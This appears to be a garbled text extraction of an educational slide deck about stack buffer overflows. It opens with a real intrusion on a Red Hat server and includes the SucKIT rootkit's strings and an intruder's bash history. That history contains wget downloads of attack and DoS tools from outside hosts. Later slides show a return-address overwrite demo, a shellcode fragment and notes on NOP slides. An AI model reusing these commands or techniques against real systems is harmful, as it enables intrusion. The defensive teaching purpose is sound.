Smashing the Stack Explained

1
Smashing the Stack Explained

• A review of Adelf Ones Article
• By Charles M. Dalsass
• Neptune Web, Inc.

2
True Story

• Last week. Client Running RH9 (out of box).
  couldnt reboot server. Thinks disk failure.
  Brings in Box.
• Boot from CDROM, disks mount OK run
• rpm V, strings /sbin/init

3
Make My Day
root_at_host sbin strings /mnt/old_infected_drive/
sbin/init less root_at_host sbin chroot
/mnt/old_infected_drive/ root_at_host / rpm -qf
/sbin/init SysVinit-2.84-13 root_at_host / rpm -V
SysVinit-2.84-13 S.5....T /sbin/init root_at_clie
ntsbox sbin strings /mnt/old_infected_drive/sbi
n/init less FUCK Can't allocate raw socket
(d) /usr/share/locale/sk/.sk12/.rc HISTFILE/dev/
null SHELL/bin/bash TERMlinux pqrstuvwxyzabcde 0
123456789abcdef /dev/ptmx /dev/pty /dev/tty /dev/n
ull /usr/share/locale/sk/.sk12 /bin/sh Can't
execve shell! FUCK Can't fork child (d) Done,
pidd use s args u -
uninstall i - make pid invisible v -
make pid visible f 0/1 - toggle file hiding p
0/1 - toggle pid hiding FUCK Failed to
uninstall (d) Suckit uninstalled
sucesfully! FUCK Failed to hide pid d
(d) FUCK Failed to unhide pid d (d) Failed to
change s hiding (d)! Detected version s Pid
d is hidden now! Pid d is visible now! file s
hiding is now s! __kmalloc /dev/kmem RK_Init
idt0x08x, sct0x08x, FUCK Can't find
kmalloc()! kmalloc()0x08x, gfp0xx FUCK Out
of kernel memory! Done, d bytes,
base0x08x FUCK Can't open s for read/write
(d) FUCK IDT table read failed (offset
0x08x) FUCK Can't find sys_call_table FUCK
Can't read syscall d addr Z_Init Allocating
kernel-code memory... core /sbin/init.sk12 FUCK
Got signal d while manipulating
kernel! 0123456789abcdefghijklmnopqrstuvwxyz 01234
56789ABCDEFGHIJKLMNOPQRSTUVWXYZ /dev/null 1
.3b .sk12 /usr/share/locale/sk/.sk12/.sniffer
4
Hackers .bash_history found
cd /var/tmp passwd passwd passwd passwd passwd pas
swd passwd temp2 passwd exit passwd exit cd
/var/tmp w cat /etc/hosts last w exit /usr/bin/per
l wget members.lycos.co.uk/band3ras/ryo.tar ps
-ax locate psybnc uname -a uname
-a exit w ls wget www.ghinea.3x.ro/emech/luchian/m
ech.set ftp netclub.go.ro wget www.ghinea.3x.ro/em
ech/luchian/1.users ftp netclub.go.ro rm -rf
1.users rm -rf mech.set exit wget
theskull.org/download/psys.tar.gz ftp
netclub.go.ro rm -rf psys.tar.gz exit wget
packetstormsecurity.org/DoS/udp.pl ftp -v
81.196.20.134 rm -rf udp.pl exit wget
free-ftp.org/zauasa/ssh22.tar.gz ftp -v
81.196.20.134 rm -rf ssh22.tar.gz exit
5
True Story

• This hacker probably used a buffer overflow
  attack, which is what well discuss today.
• Dont have numbers, but there are a huge numbers
  of RedHat (and other Linux) machines hacked like
  this.
• Seen this 20-30x ourselves, just managing 10s of
  hosts, many using good practices.
• Client had firewall, did not watch logs, did not
  update software.
• Its Linux right. I thought it was secure.
• By the way, wheres the PR regarding the
  vulnerability of Linux systems oh well, who
  listens to the press anyway?

6
Contents

• Motivation
• Hackers Motives
• Our Motives
• Analysis of the Article
• (asterisk) indicates that a general lesson has
  been learned.
• Lessons Learned

7
Hackers Motivation

• Fraud
• Phishing (very common now)
• Spam (somewhat common)
• Extortion (never seen it. seems to be rare but
  increasing)
• Bandwidth (pretty common, dont see it as much)
• Glory
• Ability to bring down or control other machines

8
Our Motivation

• Keep Networks/Hosts/Sites Secure
• To understand techniques of hackers well enough
  to prevent getting hacked into.
• To understand the economy of hacking well
  enough to make it NOT worthwhile to break in.
• Dispel magic
• Learn about security
• Become a better programmer
• This covers only one type of attack, effecting C
  programs, see others http//nvd.nist.gov/nvd.cfm

9
The Stack
example1.c ------ void function(int a, int b,
int c) char buffer15 char buffer210
void main() function(1,2,3)
Memory allocating over time
Pictures courtesy of Linux Journal
Online http//www.linuxjournal.com/article/6701
10
Example
cdalsass_at_starfish smash ./a.out the address of
buffer1 is 0xbfffcd30 1 0xbfffcd30 0x61 2
0xbfffcd31 0x61 3 0xbfffcd32 0x61 4 0xbfffcd33
0x61 5 0xbfffcd34 0x61 6 0xbfffcd35 0x61 7
0xbfffcd36 0x61 8 0xbfffcd37 0x61 9 0xbfffcd38
0x61 10 0xbfffcd39 0x61 11 0xbfffcd3a 0x61 12
0xbfffcd3b 0x61 13 0xbfffcd3c 0x61 14 0xbfffcd3d
0x61 15 0xbfffcd3e 0x61 16 0xbfffcd3f 0x61 17
0xbfffcd40 0 18 0xbfffcd41 0 19 0xbfffcd42 0 20
0xbfffcd43 0 21 0xbfffcd44 0 22 0xbfffcd45 0 23
0xbfffcd46 0 24 0xbfffcd47 0 25 0xbfffcd48
0x68 26 0xbfffcd49 0xffffffcd 27 0xbfffcd4a
0xffffffff 28 0xbfffcd4b 0xffffffbf 29 0xbfffcd4c
0x16 30 0xbfffcd4d 0xffffff84 31 0xbfffcd4e
0x4 32 0xbfffcd4f 0x8 ORIGINAL ret
0x8048416 NEW ret 0x8048426
NOTE 0x61 ASCI 97 a
example3.c ------------------------------------- /
This example is similar to the one in the
Smashing article. It shows how you can alter the
return address in a program. Since I am compiling
my own program, its completely rigged, of
course. In a real attack situation, the attacker
would only be able to access the program through
its public interfaces (e.g. a file, paramater,
IP packet) / void function(int a, int b, int c)
char buffer110 printf("the
address of buffer1 is x\n",buffer1)
int i for (i 0 i buffer1i 'a' for
(i 0 i x\n",i 1,buffer1i,buffer1i)
int ret ret buffer1 28 / find
the return addy / printf("ORIGINAL ret
x\n",ret) / used gdb to go to the end
of the main function, bypassing hello world /
(ret) 16 try decrementing by 10 bytes to
get a loop. printf("NEW ret
x\n",ret) void main()
function(1,2,3) printf( "hello world!")
There it is.Address 0x8048416 can be found
between lines 28 and 32.
11
Writing Assembly

• For this part, switch to much better article
• http//www.infosecwriters.com/hhworld/shellcode.tx
  t
• Now, use assembly language to write malicious
  code which will fill in the buffer (typically
  /bin/sh)
• Do not follow Adelphs method (gdb x/bx) to
  extract the shellcode. Samy Bahras article
  showed a much simpler method using objdump.
• We are looking for binary code, in 1-byte hex
  characters which represents the compiled form of
  the code, which we will write into the buffer.
  Looks like this
• \xb8\x1d\x00\x00\x00\xcd\x80
• your code is a NULL byte whorehouse and is
  position dependent. - Samy Bahra

12
Gotchas

• Lesson this is serious computer science and
  is NOT easy.
• Null Bytes in Shellcode (.e.g. x1d\x00\x00)
• Pretty simple conversion if you know assembly
• Position Independent code.
• The problem is that you have no known addresses
  when you are overflowing the buffer, so you can
  reference strings (e.g. /bin/sh)
• The solution uses jmp and call instructions to
  make this string available.
• This does not address the problem of unknown
  buffer addresses.
• Adelphs solution for unknown buffer address is
  a NOOP slide, which uses a sliding
  approximation, making it easier to guess the
  location of the buffer. ( LESSON buffer size
  must be known, or knowing it helps alot)
• I suspect you can know the buffer addy in some
  cases, but this gives you less options. Seems you
  always need to know the buffer size.

13
Interacting with the vulnerable program

• Passing your shellcode to a vulnerable program.
• Sorry, this wont work
• ./vulnerable \x03\x07\x09 etc.
• Even on this program
• void main(int argc, char argv)
• char buffer10
• if (argc 1)
• strcpy(buffer,argv1)
• You need to use a program to pass the binary data
  into an environment variable or whatever buffer
  is vulnerable.
• ./setegg
• ./vulnerable.c EGG
• Other cases MUCH more obscure. Passing the shell
  code from an image or other binary format is very
  common today.

14
What can be learned?

• These attacks are a function of OS Arch
• Obscure OSArch is where its at but thats not
  what RH Intel is. RH probably one of the MOST
  insecure distros out there, based purely on its
  ubiquity.
• It is very time consuming and difficult to
  architect new hacks, and few people can do it or
  (more importantly can spend the time to do it).
• The obvious is still true (software updates,
  rkhunter, firewall, safe passwords, no unecc.
  services)
• The goal of all hackers is to have their own
  hacks that are yet unreleased.
• Open Source and hacker culture go hand in hand.
  Value of OSS for individual much less than
  collective.
• To conclude, grep(1) is your friend. The sources
  for free operating systems and their utilities is
  readily available. This fact becomes quite
  interesting once you realize that many comercial
  operating systems utilities where derived from
  the same sources as the free ones. Use the source
  d00d. - Adelph
• Active Intrusion detection possible.
• Number of hacks diminishes over time on stable
  code like Apache.

15
Summary Whats Good News?

• Hackers dont destroy typically and usually
  dont have a specific motive to attack you or
  your business.
• Most hackers will cut-and-run.
• Easiest machines will be hit first (low hanging
  fruit).
• Red Hat commercial AS, ES versions which will be
  more obscure since its not completely free.
• Your code (maybe), since most people arent
  writing big time code.

16
Summary Whats Bad News?

• This is only one type of hack. Look for most new
  vulnerabilities in scripted web sites.
• No way to fight back, only defend.
• What next? Web Hacks. Google etc.
  http//www.infosecwriters.com/hhworld/hh10/dns.htm
  
• OSS on windows
• Mixtures of social and technical attacks.
• Fedora, Intel, MacOSX

17
Links

• http//nvd.nist.gov/nvd.cfm (not sure how good
  this is)
• great article here on vulnerabilities being worth
  . Proves there is a market for new
  vulnerabilities and that hackers dont want
  vendors finding them before they do.
  http//www.securityfocus.com/columnists/391
• Millworm has a great listing of vulnerabilities.
• http//www.milw0rm.com/local.php?start0
• The best magazine Ive found http//www.infosecwr
  iters.com/
• http//cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-
  2002-0640
• super simple explanation of registers.
  http//www.securitydocs.com/library/2622